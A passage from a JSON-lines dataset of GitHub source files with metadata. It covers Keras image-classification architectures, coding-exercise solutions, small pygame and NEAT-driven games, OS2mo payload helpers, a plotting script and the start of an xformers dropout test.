2))(out)\n out = tf.keras.layers.GlobalAveragePooling2D()(out)\n out = tf.keras.layers.Dense(dense_units, activation=tf.nn.relu)(out)\n out = tf.keras.layers.Dropout(dropout_rate)(out)\n outputs = tf.keras.layers.Dense(n_classes, activation=tf.nn.softmax)(out)\n\n return tf.keras.Model(inputs=inputs, outputs=outputs, name='Basic_CNN')\n\n\n@gin.configurable\ndef vgg_like(input_shape, n_classes, base_filters, n_blocks, dense_units, dropout_rate):\n \"\"\"Defines a VGG-like architecture.\n Parameters:\n input_shape (tuple: 3): input shape of the neural network\n n_classes (int): number of classes, corresponding to the number of output neurons\n base_filters (int): number of base filters, which are doubled for every VGG block\n n_blocks (int): number of VGG blocks\n dense_units (int): number of dense units\n dropout_rate (float): dropout rate\n Returns:\n (keras.Model): keras model object\n \"\"\"\n assert n_blocks > 0, 'Number of blocks has to be at least 1.'\n\n inputs = tf.keras.Input(input_shape)\n out = vgg_block(inputs, base_filters)\n for i in range(2, n_blocks):\n out = vgg_block(out, base_filters * 2 ** (i))\n out = tf.keras.layers.GlobalAveragePooling2D()(out)\n out = tf.keras.layers.Dense(dense_units, activation=tf.nn.relu)(out)\n out = tf.keras.layers.Dropout(dropout_rate)(out)\n outputs = tf.keras.layers.Dense(1, activation=tf.nn.sigmoid)(out)\n\n return tf.keras.Model(inputs=inputs, outputs=outputs, name='vgg_like')\n\n\n\n\n\n\n@gin.configurable\ndef resnet(input_shape, n_classes, dense_units, dropout_rate):\n inputs = tf.keras.Input(shape=input_shape),\n out = res_stem(input_shape)(inputs)\n out = res_basic_block(out, 64, 3, strides=1)\n out = res_basic_block(out, 64, 3, strides=1)\n out = res_basic_block(out, 128, 3, strides=2)\n out = res_basic_block(out, 128, 3, strides=1)\n out = res_basic_block(out, 256, 3, strides=2)\n out = res_basic_block(out, 256, 3, strides=1)\n out = res_basic_block(out, 512, 3, strides=2)\n out = res_basic_block(out, 512, 3, strides=1)\n\n out = layers.GlobalAvgPool2D()(out)\n out = layers.Dense(dense_units, activation=\"relu\", kernel_regularizer=regularizers.l1(0.01))(out)\n out = layers.Dropout(dropout_rate)(out)\n outputs = layers.Dense(n_classes, activation=tf.nn.softmax)(out)\n return tf.keras.Model(inputs, outputs, name=\"resnet\")\n","repo_name":"TWWinde/Diabetic_Retinopathy_Detection","sub_path":"diabetic_retinopathy/models/architectures.py","file_name":"architectures.py","file_ext":"py","file_size_in_byte":3569,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"69808222813","text":"def solution(data, col, row_begin, row_end):\n answer = 0\n key_row = [i for i in data[0]]\n \n s = sorted(data, key = lambda x: [x[col - 1], -x[0]])\n S = [0] * len(s)\n for i in range(len(s)):\n for j in range(len(s[i])):\n S[i] += s[i][j] % (i + 1)\n \n for i in range(row_begin - 1, row_end):\n answer ^= S[i]\n return answer\n\n# 정확성 테스트\n# 테스트 1 〉\t통과 (0.04ms, 10.1MB)\n# 테스트 2 〉\t통과 (0.22ms, 10.4MB)\n# 테스트 3 〉\t통과 (0.17ms, 10.2MB)\n# 테스트 4 〉\t통과 (1.09ms, 10.3MB)\n# 테스트 5 〉\t통과 (14.34ms, 12.2MB)\n# 테스트 6 〉\t통과 (240.91ms, 57.8MB)\n# 테스트 7 〉\t통과 (263.31ms, 64.5MB)\n# 테스트 8 〉\t통과 (310.01ms, 64.4MB)\n# 테스트 9 〉\t통과 (258.35ms, 64.5MB)\n# 테스트 10 〉 통과 (340.98ms, 64.3MB)\n# 테스트 11 〉 통과 (0.01ms, 10.1MB)\n\n# 채점 결과\n# 정확성: 100.0\n# 합계: 100.0 / 100.0","repo_name":"namuna309/CodingTestPractice","sub_path":"Programmers/level 2/테이블 해시 함수/Source.py","file_name":"Source.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29019381839","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def reverseBetween(self, head: ListNode, left: int, right: int) -> ListNode:\n if left == right:\n return head\n dummy = ListNode(next=head)\n a = dummy\n i = 1\n while i < left:\n a = a.next\n i += 1\n b = a.next\n \n prev = None\n cur = b\n while i <= right:\n nxt = cur.next\n cur.next = prev\n prev = cur\n cur = nxt\n i += 1\n a.next = prev\n b.next = cur\n return dummy.next\n","repo_name":"zhaoyi3264/leetcode-solutions","sub_path":"src/92.py","file_name":"92.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20508563291","text":"\"\"\"\n29. Divide Two Integers\n\nGiven two integers dividend and divisor, divide two integers without using multiplication, division and mod operator.\n\nReturn the quotient after dividing dividend by divisor.\n\nThe integer division should truncate toward zero.\n\nExample 1:\n\nInput: dividend = 10, divisor = 3\nOutput: 3\nExample 2:\n\nInput: dividend = 7, divisor = -3\nOutput: -2\nNote:\n\nBoth dividend and divisor will be 32-bit signed integers.\nThe divisor will never be 0.\nAssume we are dealing with an environment which could only store integers within the 32-bit signed integer range: [−231, 231 − 1]. For the purpose of this problem, assume that your function returns 231 − 1 when the division result overflows.\n\nNote:\n1. https://leetcode.com/problems/divide-two-integers/discuss/13565/Python-devs-be-wary-of-the-integer-of-division-of-a-positive-and-a-negative-number\n\tdividend//divisor returned a lot of result that could not pass the OJ, link above explaned\n2. Bitwise Operators https://wiki.python.org/moin/BitwiseOperators\n\tx >> y\n\tReturns x with the bits shifted to the right by y places. This is the same as //'ing x by 2**y.\n\nhttps://leetcode.com/problems/divide-two-integers/discuss/13407/Detailed-Explained-8ms-C++-solution\nhttps://leetcode.com/problems/divide-two-integers/discuss/13403/Clear-python-code\nhttps://leetcode.com/problems/divide-two-integers/discuss/142849/C++JavaPython-Should-Not-Use-%22long%22-Int\n\"\"\"\n\n# Result AC 52ms 100%\n# TBC\n\n\nclass Solution:\n def divide(self, dividend, divisor):\n \"\"\"\n :type dividend: int\n :type divisor: int\n :rtype: int\n \"\"\"\n positive = (dividend < 0) is (divisor < 0)\n dividend, divisor = abs(dividend), abs(divisor)\n res = 0\n while dividend >= divisor:\n temp, i = divisor, 1\n while dividend >= temp:\n dividend -= temp\n res += i\n i <<= 1\n temp <<= 1\n if not positive:\n res = -res\n return min(max(-2147483648, res), 2147483647)","repo_name":"Freegle1643/leetforfun","sub_path":"029-mid-Divide_Two_Integers-180817.py","file_name":"029-mid-Divide_Two_Integers-180817.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10771828530","text":"import random\r\nimport os\r\nimport time\r\nfrom pynput.keyboard import Listener, Key\r\nfrom threading import Thread\r\n\r\n\r\ndef insert_gameboard(coord, value):\r\n gameboard[coord[0]][coord[1]] = value\r\n\r\n\r\ndef paint(game_board):\r\n global SCORE\r\n print('\\n' * 3, ' ', ' LEVEL:', LEVEL, '\\n')\r\n print(' ', ' SCORE:', SCORE, '\\n')\r\n print(' ', ' ESC to exit', '\\n'*2)\r\n for row in game_board:\r\n segment = ''\r\n for cell in row:\r\n segment += u\"\\u2588\"*2 if cell else ' '\r\n print(' ' + segment)\r\n\r\n\r\ndef check_side(location, side):\r\n global direction\r\n global SCORE\r\n side_variable = {'vert': [location[0] + direction_value[direction[0]], location[1]],\r\n 'hori': [location[0], location[1] + direction_value[direction[1]]],\r\n 'both': [location[0] + direction_value[direction[0]], location[1] + direction_value[direction[1]]]}\r\n\r\n if gameboard[side_variable[side][0]][side_variable[side][1]]:\r\n if side_variable[side] in BLOCKS:\r\n time.sleep(0.5)\r\n BLOCKS.remove(side_variable[side])\r\n insert_gameboard(side_variable[side], False)\r\n SCORE += 1\r\n os.system(\"cls\")\r\n paint(gameboard)\r\n\r\n if side == 'vert':\r\n direction[0] = reverse[direction[0]]\r\n elif side == 'hori':\r\n direction[1] = reverse[direction[1]]\r\n else:\r\n direction = [reverse[direction[0]], reverse[direction[1]]]\r\n\r\n\r\ndef check_neighbors(location): # location = BOMB[0], location[0] -> row\r\n global direction\r\n for _ in range(2): # niezbedne podwojne sprawdzenie warunku dla pewnych szczegolnych przypadkow\r\n check_side(location, 'vert') # ruch pionowy, wiec nie sprawdzamy czy rusza sie na boki\r\n\r\n if direction[1]: # jesli ruch zawiera skłądową poziomą\r\n check_side(location, 'hori')\r\n\r\n if direction[1]: # jesli ruch zawiera skłądową poziomą\r\n check_side(location, 'both')\r\n\r\n\r\ndef new_bomb_placement():\r\n insert_gameboard(BOMB[0], False)\r\n BOMB[0] = [BOMB[0][0] + direction_value[direction[0]], BOMB[0][1] + direction_value[direction[1]]]\r\n insert_gameboard(BOMB[0], True)\r\n\r\n\r\ndef push_bomb():\r\n if [BOMB[0][0] + 1, BOMB[0][1]] in PLATFORM:\r\n if platform_direction[current_direc] == reverse[direction[1]]:\r\n direction[1] = None\r\n new_bomb_placement()\r\n elif platform_direction[current_direc] and not direction[1]:\r\n direction[1] = platform_direction[current_direc]\r\n new_bomb_placement()\r\n elif (platform_direction[current_direc] == direction[1]) and direction[1]:\r\n if gameboard[BOMB[0][0]][BOMB[0][1] + direction_value[direction[1]]*2]:\r\n insert_gameboard(BOMB[0], False)\r\n BOMB[0] = [BOMB[0][0] - 1, BOMB[0][1]]\r\n direction[1] = reverse[direction[1]]\r\n insert_gameboard(BOMB[0], True)\r\n else:\r\n insert_gameboard(BOMB[0], False)\r\n BOMB[0] = [BOMB[0][0] + direction_value[direction[0]], BOMB[0][1] + direction_value[direction[1]]*2]\r\n insert_gameboard(BOMB[0], True)\r\n\r\n else:\r\n new_bomb_placement()\r\n\r\n else:\r\n new_bomb_placement()\r\n\r\n\r\ndef new_platform_placement():\r\n global current_direc\r\n global PLATFORM\r\n\r\n if (current_direc == Key.left and PLATFORM[0][1] == 1) or (current_direc == Key.right and PLATFORM[-1][1] == n-2):\r\n return\r\n\r\n temp_PLATFORM = []\r\n\r\n if current_direc == Key.left:\r\n insert_gameboard(PLATFORM[-1], False)\r\n elif current_direc == Key.right:\r\n insert_gameboard(PLATFORM[0], False)\r\n\r\n for block in PLATFORM[:]:\r\n if current_direc == Key.left:\r\n temp_PLATFORM.append([block[0], block[1]-1])\r\n elif current_direc == Key.right:\r\n temp_PLATFORM.append([block[0], block[1] + 1])\r\n\r\n PLATFORM = temp_PLATFORM\r\n\r\n if current_direc == Key.left:\r\n insert_gameboard(PLATFORM[0], True)\r\n elif current_direc == Key.right:\r\n insert_gameboard(PLATFORM[-1], True)\r\n\r\n\r\ndef on_press(key):\r\n global current_direc\r\n current_direc = key\r\n\r\n\r\nm = 26\r\nn = 26\r\n\r\ndirection_value = {'left': -1, 'right': 1, 'down': 1, 'up': -1, None: 0}\r\nreverse = {'left': 'right', 'right': 'left', 'down': 'up', 'up': 'down', None: 'Nope!'}\r\n\r\n\r\nx = 8 # ilosc wierszy BLOCKS\r\nPLATFORM = [[m-3, 11], [m-3, 12], [m-3, 13]] # platforma na pierwszym poziomie\r\nSCORE = 0\r\nLEVEL = 1\r\n\r\nwhile True:\r\n # nowa plansza przy kazdym poziomie\r\n gameboard = [[True for i in range(n)]] + [[True] + [False for i in range(n - 2)] + [True] for j in range(m - 2)] + \\\r\n [[True for i in range(n)]] # m wierszy po n kolumn\r\n\r\n BOMB = [[m - 9, 14]] # nowa lokalizacja bomby przy nowym poziomie\r\n direction = ['up', 'right'] # nowy kierunek bomby\r\n\r\n BLOCKS = set() # przy kazdym poziomie generujemy nowe bloki\r\n for _ in range(5 * LEVEL):\r\n BLOCKS.add((random.randint(2, 2 + x - 1), random.randint(2, n - 3)))\r\n\r\n BLOCKS = list(BLOCKS) # niezbedna sztuczka do zamiany zbioru zlozonego list na liste zlozona z list\r\n temp_BLOCKS = []\r\n for element in BLOCKS:\r\n temp_BLOCKS.append(list(element))\r\n BLOCKS = temp_BLOCKS\r\n\r\n for block in BLOCKS + PLATFORM + BOMB: # nanosimy wszystkie bloki do planszy\r\n insert_gameboard(block, True)\r\n\r\n current_direc = None # obecny kierunek w ktorym przesuwamy platformę\r\n possible_directions = [Key.left, Key.right, None] # kierunki\r\n platform_direction = {Key.left: 'left', Key.right: 'right', None: None}\r\n\r\n end_game = False\r\n\r\n while True:\r\n os.system(\"cls\")\r\n paint(gameboard)\r\n if BOMB[0][0] == 24:\r\n time.sleep(1)\r\n if len(PLATFORM) != 1:\r\n insert_gameboard(BOMB[0], False)\r\n BOMB[0] = PLATFORM.pop()\r\n direction = ['up', None]\r\n continue\r\n else:\r\n insert_gameboard(PLATFORM[0], False)\r\n insert_gameboard(BOMB[0], False)\r\n os.system(\"cls\")\r\n paint(gameboard)\r\n time.sleep(1)\r\n os.system(\"cls\")\r\n end_game = True\r\n print(\"GAME OVER!!!\")\r\n break\r\n\r\n check_neighbors(BOMB[0])\r\n if not len(BLOCKS):\r\n LEVEL += 1\r\n break\r\n # decyzja o ruchu platformy\r\n\r\n with Listener(on_press=on_press) as ls:\r\n def time_out(period_sec: int):\r\n time.sleep(period_sec) # Listen to keyboard for period_sec seconds\r\n ls.stop()\r\n\r\n\r\n Thread(target=time_out, args=((LEVEL ** (-1 / 2))/2,)).start()\r\n ls.join()\r\n\r\n push_bomb()\r\n\r\n if current_direc:\r\n if current_direc == Key.esc:\r\n os.system(\"cls\")\r\n end_game = True\r\n break\r\n\r\n new_platform_placement()\r\n\r\n current_direc = None\r\n\r\n if end_game:\r\n break\r\n\r\nprint('SCORE:', SCORE)\r\ninput(\"press ENTER to exit\")\r\n","repo_name":"SBermont/Arkanoid","sub_path":"Arkanoid.py","file_name":"Arkanoid.py","file_ext":"py","file_size_in_byte":7291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27192495240","text":"from datetime import datetime\nfrom typing import Optional\nfrom uuid import UUID\n\n\ndef create_employee(*, uuid: UUID, name, cpr_no):\n payload = {\"type\": \"employee\", \"uuid\": str(uuid), \"name\": name, \"cpr_no\": cpr_no}\n\n return payload\n\n\ndef create_engagement(\n *,\n uuid: UUID,\n org_unit_uuid: UUID,\n person_uuid: UUID,\n job_function_uuid: UUID,\n engagement_type_uuid: UUID,\n from_date: str,\n to_date: Optional[str],\n primary_uuid: UUID,\n user_key=str,\n):\n payload = {\n \"type\": \"engagement\",\n \"uuid\": str(uuid),\n \"org_unit\": {\"uuid\": str(org_unit_uuid)},\n \"person\": {\"uuid\": str(person_uuid)},\n \"job_function\": {\"uuid\": str(job_function_uuid)},\n \"primary\": {\"uuid\": str(primary_uuid)},\n \"engagement_type\": {\"uuid\": str(engagement_type_uuid)},\n \"user_key\": user_key,\n \"validity\": {\n \"from\": from_date,\n \"to\": to_date,\n },\n }\n return payload\n\n\ndef create_org_unit(\n *,\n uuid: UUID,\n user_key: str,\n name: Optional[str],\n parent_uuid: UUID,\n org_unit_hierarchy: Optional[UUID],\n org_unit_type_uuid: Optional[UUID],\n from_date: str,\n to_date: Optional[str],\n):\n payload = {\n \"type\": \"org_unit\",\n \"uuid\": str(uuid),\n \"user_key\": user_key,\n \"parent\": {\"uuid\": str(parent_uuid)},\n \"validity\": {\"from\": from_date, \"to\": to_date},\n }\n if name:\n payload[\"name\"] = name\n if org_unit_hierarchy:\n payload[\"org_unit_hierarchy\"] = {\"uuid\": str(org_unit_hierarchy)}\n if org_unit_type_uuid:\n payload[\"org_unit_type\"] = {\"uuid\": str(org_unit_type_uuid)}\n return payload\n\n\ndef create_address(\n *,\n uuid: UUID,\n value: Optional[str],\n address_type_uuid: UUID,\n person_uuid: Optional[UUID] = None,\n org_unit_uuid: Optional[UUID] = None,\n from_date: str,\n to_date: Optional[str],\n):\n payload = {\n \"type\": \"address\",\n \"uuid\": str(uuid),\n \"value\": value,\n \"address_type\": {\"uuid\": str(address_type_uuid)},\n \"validity\": {\"from\": from_date, \"to\": to_date},\n }\n if person_uuid:\n payload[\"person\"] = {\"uuid\": str(person_uuid)}\n if org_unit_uuid:\n payload[\"org_unit\"] = {\"uuid\": str(org_unit_uuid)}\n return payload\n\n\ndef create_it_rel(\n *,\n uuid: Optional[UUID],\n user_key: Optional[str],\n person_uuid: UUID,\n itsystem_uuid: Optional[UUID],\n from_date: str,\n to_date: Optional[str] = None,\n):\n payload = {\n \"type\": \"it\",\n \"uuid\": str(uuid),\n \"user_key\": user_key,\n \"person\": {\"uuid\": str(person_uuid)},\n \"itsystem\": {\"uuid\": str(itsystem_uuid)},\n \"validity\": {\"from\": from_date, \"to\": to_date},\n }\n return payload\n\n\ndef create_manager(\n *,\n uuid: UUID,\n person_uuid: UUID,\n org_unit_uuid: UUID,\n manager_type_uuid: UUID,\n manager_level_uuid: UUID,\n responsibility_uuid: UUID,\n from_date: str,\n to_date: Optional[str] = None,\n):\n payload = {\n \"type\": \"manager\",\n \"uuid\": str(uuid),\n \"person\": {\"uuid\": str(person_uuid)},\n \"org_unit\": {\"uuid\": str(org_unit_uuid)},\n \"manager_type\": {\"uuid\": str(manager_type_uuid)},\n \"manager_level\": {\"uuid\": str(manager_level_uuid)},\n \"responsibility\": [{\"uuid\": str(responsibility_uuid)}],\n \"validity\": {\"from\": from_date, \"to\": to_date},\n }\n\n return payload\n\n\ndef convert_create_to_edit(payload: dict, from_date: Optional[str] = None):\n \"\"\"Convert an existing create payload to an edit payload\"\"\"\n edit_payload = {\n \"data\": {**payload},\n \"uuid\": payload[\"uuid\"],\n \"type\": payload[\"type\"],\n }\n if from_date:\n edit_payload[\"data\"][\"validity\"] = {\"from\": from_date}\n\n return edit_payload\n\n\ndef terminate_detail(type: str, uuid: UUID, to_date: datetime):\n \"\"\"Create payload for terminating a MO detail\"\"\"\n payload = {\n \"type\": type,\n \"uuid\": str(uuid),\n \"validity\": {\"to\": to_date.date().isoformat()},\n }\n return payload\n","repo_name":"OS2mo/os2mo-data-import-and-export","sub_path":"integrations/aarhus/payloads.py","file_name":"payloads.py","file_ext":"py","file_size_in_byte":4085,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"28866584367","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom pylab import *\n\n\ndef plot_bars(data, xTicks, xLabels='', yLabels=''):\n hfont = {'fontname': 'Arial'}\n ind = np.arange(len(data))\n fig = plt.figure(figsize=(12, 8))\n ax = fig.add_subplot(111)\n\n width=0.35\n rects1 = ax.bar(ind, data, width,\n color='#0000ff') # axes and labels\n ax.set_xlim(-width, len(ind) + width)\n # ax.set_ylim(87, 95)\n ax.set_ylabel(yLabels, size=30, **hfont)\n ax.set_xlabel(xLabels, size=30, **hfont)\n ax.set_xticks(ind)\n xtickNames = ax.set_xticklabels(xTicks, **hfont)\n plt.setp(xtickNames, rotation=45, fontsize=5)\n plt.grid(True)\n plt.xticks(size=20)\n plt.yticks(size=20)\n # plt.subplots_adjust(left=0.13, bottom=0.30, top=0.9)\n plt.subplots_adjust(left=0.13, bottom=0.25, top=0.9)\n ## add a legend\n # ax.legend( (rects1[0], ('Men', 'Women') )\n\n plt.show()\n plt.close()\n\n\ndef plot_line(x, y, l, title, ):\n fig = plt.figure(1, figsize=(12, 8))\n ax = plt.subplot(111) # row x col x position (here 1 x 1 x 1)\n\n plt.xticks(size=30) # rotate x-axis labels to 75 degree\n plt.yticks(size=30)\n\n x = np.array(range(len(x))) + 1\n # print(x.shape, len(y1))\n ax.plot(x, y, marker='o', markersize=3, linestyle='-', linewidth=3, color='black')\n\n # plt.xlim(0, len(var) + 1)\n plt.tight_layout() # showing xticks (as xticks have long names)\n ax.grid()\n\n # plt.title(title, color='#000000', weight=\"bold\", size=30)\n plt.ylabel('Correlation', size=40)\n plt.xlabel('Lag order', size=40)\n\n # ax.legend(loc='lower right', fancybox=True, shadow=True, fontsize=25)\n plt.grid(True)\n plt.subplots_adjust(left=0.12, bottom=0.15, top=0.90)\n plt.title(title, size=30)\n # plt.ylim([0, 1])\n # plt.xlim([0, 6])\n # plt.close()\n plt.show()\n\n\nif __name__ == \"__main__\":\n x = range(8)\n x = [i + 1 for i in x]\n y = [149313, 146388,\t133789,\t137738,\t148130,\t149335,\t146625,\t138573]\n title = 'Number of participating users'\n l = ''\n plot_line(x, y, l, title)\n","repo_name":"SOUMAJYOTI/Hacker_Social_Networks","sub_path":"utilities/plot_line.py","file_name":"plot_line.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"5105246869","text":"#try to make similar to classic NES Road Fighter\nimport pygame\nimport random\nimport os\nimport neat\nimport pickle\nimport matplotlib.pyplot as plt\n\npygame.font.init()\n\n# constant variables\nWIN_WIDTH = 600\nWIN_HEIGHT = 800\nIMG_WIDTH = 50\nIMG_HEIGHT = 100\nROAD_LEFTWALL = 140\nROAD_RIGHTWALL = 420\nWINDOW = pygame.display.set_mode((WIN_WIDTH, WIN_HEIGHT))\npygame.display.set_caption(\"Road Fighter\")\nPLAYER_IMG = pygame.transform.scale(pygame.image.load(os.path.join(\"imgs\", \"player.png\")), (IMG_WIDTH,IMG_HEIGHT))\nBG_IMG = pygame.transform.scale(pygame.image.load(os.path.join(\"imgs\", \"Road_Background.jpg\")), (600,800))\nOBSTACLE_IMG = pygame.transform.scale(pygame.image.load(os.path.join(\"imgs\", \"car.png\")), (IMG_WIDTH,IMG_HEIGHT))\nSTAT_FONT = pygame.font.SysFont(\"comicsans\", 50)\nGENERATION = 0\nx_data = []\ny_data = []\n\n\nclass Player:\n IMG = PLAYER_IMG\n VELOCITY = 5\n\n #initialize player's position to center\n def __init__(self):\n self.x = 300\n self.y = 600\n\n def moveLeft(self):\n self.x -= self.VELOCITY\n\n def moveRight(self):\n self.x += self.VELOCITY\n\n def draw(self, window):\n window.blit(self.IMG, (self.x, self.y))\n\n # retrieve only the image of the player by ignoring blank area\n def get_mask(self):\n return pygame.mask.from_surface(self.IMG)\n\n def checkAround(self, obstacle):\n # return 1 when there is an obstacle in a specific area\n left = self.checkLeft(obstacle)\n right = self.checkRight(obstacle)\n middle = self.checkMiddle(obstacle)\n farLeft = self.checkFarLeft(obstacle)\n farRight = self.checkFarRight(obstacle)\n return farLeft, left, middle, right, farRight\n\n # check left side of the player\n def checkLeft(self, obstacle):\n if obstacle.x >= self.x - self.IMG.get_width() and obstacle.x <= self.x:\n return 1\n if obstacle.x + obstacle.IMG.get_width() >= self.x - self.IMG.get_width() and obstacle.x + obstacle.IMG.get_width() <= self.x:\n return 1\n if self.x - self.IMG.get_width() <= ROAD_LEFTWALL:\n return 1\n return 0\n\n # check right side of the player\n def checkRight(self, obstacle):\n if obstacle.x >= self.x + self.IMG.get_width() and obstacle.x <= self.x + self.IMG.get_width() * 2:\n return 1\n if obstacle.x + obstacle.IMG.get_width() >= self.x + self.IMG.get_width() and obstacle.x + obstacle.IMG.get_width() <= self.x + self.IMG.get_width() * 2:\n return 1\n if self.x + self.IMG.get_width() >= ROAD_RIGHTWALL:\n return 1\n return 0\n\n # check above of the player\n def checkMiddle(self, obstacle):\n if obstacle.x > self.x and obstacle.x < self.x + self.IMG.get_width():\n return 1\n if obstacle.x + obstacle.IMG.get_width() > self.x and obstacle.x + obstacle.IMG.get_width() < self.x + self.IMG.get_width():\n return 1\n return 0\n\n # check far left side of the player\n def checkFarLeft(self, obstacle):\n if obstacle.x > self.x - 2 * self.IMG.get_width() and obstacle.x < self.x - self.IMG.get_width():\n return 1\n if self.x - 2 * self.IMG.get_width() <= ROAD_LEFTWALL:\n return 1\n return 0\n\n # check far right side of the player\n def checkFarRight(self, obstacle):\n if obstacle.x > self.x + 2 * self.IMG.get_width() and obstacle.x < self.x + 3 * self.IMG.get_width():\n return 1\n if self.x + 2 * self.IMG.get_width() >= ROAD_RIGHTWALL:\n return 1\n return 0\n\nclass Obstacle:\n IMG = OBSTACLE_IMG\n VEL = 15\n\n # initialize position to the top of the window\n def __init__(self):\n self.x = 140\n self.y = -100\n self.passed = False\n self.set_position()\n\n # randomly assign obstacle's position\n def set_position(self):\n self.y -= random.randrange(0, 1000)\n self.x += random.randrange(0, 380 - self.IMG.get_width())\n\n # move the obstacle down\n def move(self):\n self.y += self.VEL\n\n def draw(self, win):\n win.blit(self.IMG, (self.x, self.y))\n\n # check for collision\n def collide(self, player, win):\n player_mask = player.get_mask()\n obstacle_mask = pygame.mask.from_surface(self.IMG)\n offset = (self.x - player.x, self.y - player.y)\n if player_mask.overlap(obstacle_mask, offset):\n return True\n return False\n\nclass Road:\n IMG = BG_IMG\n VEL = 5\n\n def __init__(self):\n self.x = 0\n self.y1 = 0\n self.y2 = -1 * self.IMG.get_height()\n\n def move(self):\n self.y1 += self.VEL\n self.y2 += self.VEL\n if self.y1 >= WIN_HEIGHT:\n self.y1 = -1 * self.IMG.get_height()\n if self.y2 >= WIN_HEIGHT:\n self.y2 = -1 * self.IMG.get_height()\n\n def draw(self, win):\n win.blit(self.IMG, (self.x, self.y1))\n win.blit(self.IMG, (self.x, self.y2))\n\n\ndef draw_window(window, players, obstacle, score, generation, road):\n road.draw(window)\n if generation == 0:\n generation = 1\n for player in players:\n player.draw(window)\n obstacle.draw(window)\n\n # display score\n score_label = STAT_FONT.render(\"Score: \" + str(score), 1, (255, 255, 255))\n window.blit(score_label, (WIN_WIDTH - 160, 10))\n\n # display generation\n score_label = STAT_FONT.render(\"Gens: \" + str(generation - 1), 1, (255, 255, 255))\n window.blit(score_label, (WIN_WIDTH - 160, 40))\n\n pygame.display.update()\n\ndef main(genomes, config):\n nets = []\n ge = []\n players = []\n road = Road()\n global GENERATION\n GENERATION += 1\n\n # generate players\n for _, g in genomes:\n net = neat.nn.FeedForwardNetwork.create(g, config)\n nets.append(net)\n players.append(Player())\n g.fitness = 0\n ge.append(g)\n\n obstacles = [Obstacle()]\n score = 0\n\n clock = pygame.time.Clock()\n\n run = True\n\n\n\n while run:\n clock.tick(60)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n plt.bar(x_data, y_data, align='center')\n plt.xlabel('generation')\n plt.ylabel('score')\n plt.show()\n run = False\n pygame.quit()\n quit()\n\n if len(players) <= 0:\n run = False\n break\n\n add_obstacle = False\n removed_obstacle = []\n\n road.move()\n\n # move obstacle and check for collision\n for obstacle in obstacles:\n for x, player in enumerate(players):\n # check if collide\n if obstacle.collide(player, WINDOW):\n ge[x].fitness -= 5\n # remove collided player\n nets.pop(players.index(player))\n ge.pop(players.index(player))\n players.pop(players.index(player))\n\n # if the player dodge the obstacle\n if not obstacle.passed and obstacle.y > player.y:\n obstacle.passed = True\n add_obstacle = True\n\n # if obstacle passes the screen\n if obstacle.y + obstacle.IMG.get_height() > WIN_HEIGHT:\n removed_obstacle.append(obstacle)\n\n obstacle.move()\n\n # increment score\n if add_obstacle:\n score += 1\n # increase fitness for players that make through each obstacle\n for g in ge:\n g.fitness += 5\n obstacles.append(Obstacle()) # generate a new obstacle\n\n # remove an out of screen obstacle from the set\n for r in removed_obstacle:\n obstacles.remove(r)\n\n # call NEAT to find the best way to survive\n for x, player in enumerate(players):\n ge[x].fitness += 0.05\n for obstacle in obstacles:\n around_environment = player.checkAround(obstacle) # get data about area around player\n output = nets[x].activate((\n player.x,\n around_environment[0],\n around_environment[1],\n around_environment[2],\n around_environment[3],\n around_environment[4],\n ))\n #print(around_environment)\n if output[0] > 0.5:\n player.moveLeft()\n if output[2] > 0.5:\n player.moveRight()\n\n # discourage NEAT to have player stay at the side of the screen\n if player.x <= 160 or player.x + player.IMG.get_width() >= WIN_WIDTH - 100:\n ge[x].fitness -= 0.1\n\n if player.x >= 250 and player.x <= 300:\n ge[x].fitness += 0.1\n\n # remove a player if they are out of the map\n if player.x <= 140 or player.x + player.IMG.get_width() >= WIN_WIDTH - 80:\n ge[x].fitness -= 10\n nets.pop(players.index(player))\n ge.pop(players.index(player))\n players.pop(players.index(player))\n\n draw_window(WINDOW, players, obstacle, score, GENERATION, road)\n\n # stop if score is large enough\n if score > 100:\n with open(\"best.pickle\", \"wb\") as f:\n pickle.dump(nets[0], f)\n run = False\n raise SystemExit()\n break\n\n\n\n x_data.append(GENERATION)\n y_data.append(score)\n\ndef run(config_path):\n config = neat.config.Config(neat.DefaultGenome, neat.DefaultReproduction,\n neat.DefaultSpeciesSet, neat.DefaultStagnation,\n config_path)\n population = neat.Population(config)\n\n population.add_reporter(neat.StdOutReporter(True))\n stats = neat.StatisticsReporter()\n population.add_reporter(stats)\n\n winner = population.run(main, 100)\n\n\nif __name__ == '__main__':\n local_dir = os.path.dirname(__file__)\n config_path = os.path.join(local_dir, 'config-feedforward.txt')\n run(config_path)\n","repo_name":"KenNL42/Road_Fighter_NEAT","sub_path":"Road_Fighter.py","file_name":"Road_Fighter.py","file_ext":"py","file_size_in_byte":10224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72253817051","text":"import logging\n\nimport pytest\nimport torch\nfrom torch.cuda.amp.autocast_mode import autocast\n\nimport xformers\nfrom xformers.components import Activation, build_activation\n\n_gpu_available = torch.cuda.is_available()\n_triton_available = xformers._is_triton_available()\n\nif _triton_available:\n try:\n import triton # noqa: F401\n\n from xformers.triton import dropout as triton_dropout\n from xformers.triton.dropout import FusedDropoutBias\n from xformers.triton.utils import gpu_capabilities_older_than_70\n\n _triton_available = True\n except ImportError:\n logging.warning(\n \"Triton is not available, some optimizations will not be tested.\"\n )\n _triton_available = False\n\n# Testing odd (non-power-of-two for instance) shapes on purpose\nSHAPES = [\n (384, 512),\n (8, 384, 128),\n (8, 784, 512),\n (4, 16, 384),\n 